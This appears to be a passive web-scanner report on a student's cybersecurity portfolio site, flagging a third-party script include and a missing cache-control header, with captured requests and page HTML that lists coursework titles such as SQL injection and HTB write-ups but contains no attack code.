<div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Parameter https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.jsEvidence <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script>Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application.
-
Incomplete or No Cache-control Header Set (3)
GET https://beekmans.dev
Alert tags Alert description The cache-control header has not been set properly or is missing, allowing the browser and proxies to cache content.
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" 